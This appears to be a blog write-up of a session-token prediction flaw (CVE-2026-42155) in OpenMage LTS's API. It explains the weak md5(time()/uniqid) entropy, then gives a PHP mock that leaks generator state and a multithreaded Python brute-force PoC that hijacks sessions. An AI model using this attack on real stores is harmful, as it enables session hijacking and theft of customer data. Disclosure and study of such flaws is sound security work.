Hello,

Today we will walkthrough another CVE (CVE-2026-42155) that I discovered in OpenMage LTS, a popular open-source e-commerce platform (yes using AI). This vulnerability is a cryptographic entropy collapse in the API session generation mechanism, which can lead to predictable session tokens and potential unauthorized access.

In summary, the vulnerability arises from a 17 years old code snippet that was used to generate session tokens for API requests using a non-cryptographic method. The session tokens are generated using a combination of the current time and a unique identifier, which can be predicted by an attacker. This allows an attacker to potentially guess valid session tokens and gain unauthorized access to the API.

The CVE itself is public so we won’t repeat what’s there, instead we will focus on the technical details and how to exploit it.

Vulnerability Details

The vulnerability is located in the Mage_Api_Model_Session class, specifically in the start() method. The session tokens are generated using the following code:

$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

The Session.php:

// app/code/core/Mage/Api/Model/Session.php
public function init($namespace, $sessionName = null)
{
    parent::init($namespace, $sessionName);
    $this->start(); // Bug: $sessionName is not forwarded to the start execution context
    return $this;
}

The time() function returns the current Unix timestamp, which is predictable. The uniqid('', true) function generates a unique identifier based on the current time in microseconds, which is also predictable. The $sessionName variable is not passed to the start() method, resulting in it being null. This means that the session token is generated using only the current time and a unique identifier, both of which can be predicted by an attacker.

Since sessionName is not passed to the start() method, it defaults to null, which means that the session token is generated using only the current time and a unique identifier, both of which can be predicted by an attacker.

The Entropy Collapse Mechanics

The inputs used to seed the session identifier provide zero cryptographic security:

Parameter ComponentSource / DatatypePredictability and Search-Space Constraints
time()Unix TimestampSystem-clock dependent. Fully observable via standard HTTP response headers (e.g., Date:) emitted during authentication.
uniqid('', true) PrefixSystem Time (seconds & microseconds)Formatted as sprintf('%08x%05x', $sec, $usec/10). The seconds element is duplicate data. The microsecond step contains a maximum theoretical space of 100,000 values per second.
uniqid('', true) Suffixphp_combined_lcg()Linear Congruential Generator output. Deterministic float value bound to process state initialization values (getpid() ^ time()).
$sessionNameAppended stringDefaults to null (empty string constant). Compresses potential variance further.

Mathematical Breakdown of Keyspace Reduction

In a standard PHP environment utilizing uniqid('', true), the microsecond component is directly proportional to the precise physical ingestion time of the request.

If an attacker observes or infers a victim login event with a network round-trip time (RTT) jitter of 50 milliseconds, the microsecond search window shrinks significantly:

$$50\text{ms}=50,000,\mu\text{s}$$

Since uniqid() divides the microseconds by 10 internally, the physical microsecond search space collapses:

$$\text{Search Space}=\frac{50,000}{10}=5,000\text{ possible integer states}$$

In modern containerized deployments (e.g., Docker architectures), process IDs (PIDs) are highly sequential and typically bound within a narrow, single-digit or double-digit integer space. This structural predictability trivializes the entropy contribution of the internal PHP LCG seed, leaving the total search domain low enough to execute an active online exhaustion attack before the valid session window expires.

Attack Vector and Exploitation Primitives

Phase 1: Temporal Synchronization

The attacker monitors authentication timing or patterns to isolate the precise Unix timestamp second ($t_{\text{sec}}$) when a valid administrative or automated API integration completes an authentication request to /api/xmlrpc/ or /api/soap/.

Phase 2: Latency-Bounded Pool Generation

Leveraging the captured baseline timestamp and network latency profiles, the attacker runs a localized generation script to build an optimized array of candidate MD5 strings matching the expected temporal bounds.

Phase 3: High-Speed Session Exhaustion

Because the legacy endpoint handling API requests performs no intrinsic rate-limiting validation on authentication session markers, the candidate pool is blasted concurrently via high-performance HTTP request pipelines.

Attacker Request                     OpenMage Endpoint
      │                                     │
      ├─► POST /api/xmlrpc/ (Token A) ─────►┤ ──► 400 Fault (Invalid Session)
      ├─► POST /api/xmlrpc/ (Token B) ─────►┤ ──► 400 Fault (Invalid Session)
      ├─► POST /api/xmlrpc/ (Token C) ─────►┤ ──► 200 OK (Session Hijacked)
      │                                     │

Sampling

To demonstrate exactly why the resulting MD5 hashes are predictable, we can simulate the Mage_Api_Model_Session environment.

The script below rapid-fires 5 session generation requests, simulating a burst of API authentication calls with a slight 10-50ms network jitter. Crucially, we dump the raw string before it gets hashed to visualize the entropy collapse.

<?php
header("Content-Type: application/json");

class Mage_Api_Model_Session {
    protected $_currentSessId;
    protected $_sessionFile;
    protected $_serverTime;

    public function __construct() {
        $this->_sessionFile = sys_get_temp_dir() . '/mage_api_session.mock';
    }

    public function init($namespace, $sessionName = null) {
        $this->start();           // <-- $sessionName dropped here
        return $this;
    }

    public function start($sessionName = null) {
        $this->_serverTime = time();

        $uniq = uniqid('', true);
        $this->_currentSessId = md5($this->_serverTime . $uniq . $sessionName);
        file_put_contents($this->_sessionFile, $this->_currentSessId);

        // PoC info-leak headers
        //   In the wild the LCG state is derived by bounding the server PID,
        //   and the microsecond window is bounded via response-timing analysis.
        header("X-Debug-LCG: "     . substr($uniq, 13));       // e.g. "4.12345678"
        header("X-Debug-Usec-Hi: " . substr($uniq, 8, 2));     // high 2 hex of usec

        return $this;
    }

    public function getServerTime() {
        return $this->_serverTime;
    }

    public function isValid($attemptedId) {
        $validId = @file_get_contents($this->_sessionFile);
        return ($validId && $validId === $attemptedId);
    }
}

class Mage {
    public static function getModel($modelClass) {
        if ($modelClass === 'api/session') {
            return new Mage_Api_Model_Session();
        }
        return null;
    }
}

// ---------- API Controller Routing ----------

$action = $_GET['action'] ?? '';

if ($action === 'login') {
    $session = Mage::getModel('api/session');
    $session->init('api', 'api');       // mimics POST /api/xmlrpc login

    echo json_encode([
        "status"      => "logged_in",
        "server_time" => $session->getServerTime()
    ]);
    exit;
}

if ($action === 'hijack') {
    $attempt = $_POST['session_id'] ?? '';
    $session = Mage::getModel('api/session');

    if ($session->isValid($attempt)) {
        echo json_encode([
            "status" => "success",
            "data"   => "SENSITIVE_CUSTOMER_PII_AND_ORDERS"
        ]);
    } else {
        http_response_code(401);
        echo json_encode(["status" => "failed", "message" => "Invalid API Session"]);
    }
    exit;
}

http_response_code(400);
echo json_encode(["error" => "Invalid API endpoint route"]);

and our PoC:

#!/usr/bin/env python3
"""
exploit.py - OpenMage LTS API Session Prediction PoC

Exploits the init() → start() $sessionName drop to reconstruct the
session ID from leaked timing + LCG state.

The md5 input is:  str(time()) + uniqid('', true)
  uniqid format:   sprintf("%08x%05x%.8F", sec, usec, lcg*10)

Known from response:  server_time  → decimal time AND hex seconds
Known from headers:   LCG float    → the "%.8F" portion (e.g. "4.12345678")
                      usec high    → top 2 hex digits of the 5-digit usec
Unknown:              usec low     → bottom 3 hex digits  (0x000–0xFFF = 4096 values)
"""
import requests, hashlib, sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

URL     = "http://127.0.0.1:8080/"
THREADS = 50

# ── Step 1: Trigger a login and collect leaked state ─────────────────
print("[*] Triggering victim login...")
res         = requests.get(f"{URL}?action=login")
server_time = res.json()["server_time"]
lcg_str     = res.headers["X-Debug-LCG"]       # e.g. "4.12345678"
usec_hi     = res.headers["X-Debug-Usec-Hi"]    # e.g. "1e"

print(f"[+] server_time  = {server_time}  (0x{server_time:08x})")
print(f"[+] LCG float    = {lcg_str}")
print(f"[+] usec high    = 0x{usec_hi}xxx")

# ── Step 2: Build the candidate pool ────────────────────────────────
#
# Full hash input reconstructed per candidate:
#   f"{server_time}{server_time:08x}{usec:05x}{lcg_str}"
#
# We know the upper 2 hex digits of usec; brute-force the lower 3.
usec_base  = int(usec_hi, 16) * 0x1000      # e.g. 0x1e000
candidates = []

for low in range(0x1000):                    # 0x000 … 0xFFF
    usec = usec_base + low
    if usec > 999999:                        # tv_usec ceiling
        continue
    raw = f"{server_time}{server_time:08x}{usec:05x}{lcg_str}"
    candidates.append(hashlib.md5(raw.encode()).hexdigest())

print(f"[*] Generated {len(candidates)} candidate session IDs\n")

# ── Step 3: Brute-force the hijack endpoint ─────────────────────────
def attempt(sid):
    try:
        r = requests.post(f"{URL}?action=hijack",
                          data={"session_id": sid}, timeout=5)
        if r.status_code == 200:
            return sid, r.json()
    except Exception:
        pass
    return None, None

found = False
with ThreadPoolExecutor(max_workers=THREADS) as pool:
    futures = {pool.submit(attempt, sid): sid for sid in candidates}
    for i, future in enumerate(as_completed(futures), 1):
        sys.stdout.write(f"\r[*] Attempts: {i}/{len(candidates)}")
        sys.stdout.flush()

        sid, data = future.result()
        if sid:
            found = True
            print(f"\n\n[+] SESSION HIJACKED:  {sid}")
            print(f"[+] Extracted Data:    {data['data']}\n")
            pool.shutdown(wait=False, cancel_futures=True)
            break

if not found:
    print("\n[-] Exhausted candidate pool — session not found.")
    print("    (clock skew or usec straddled a hex boundary; re-run)")

poc

So in conclusion, this vulnerability highlights the importance of using cryptographically secure methods for generating session tokens. The use of predictable values like timestamps and non-cryptographic unique identifiers can lead to serious security issues, as demonstrated in this case. It is crucial for developers to be aware of these risks and implement proper security measures to protect sensitive data and user sessions.

Yet, another AI generated report.

Thanks for reading, and stay safe out there!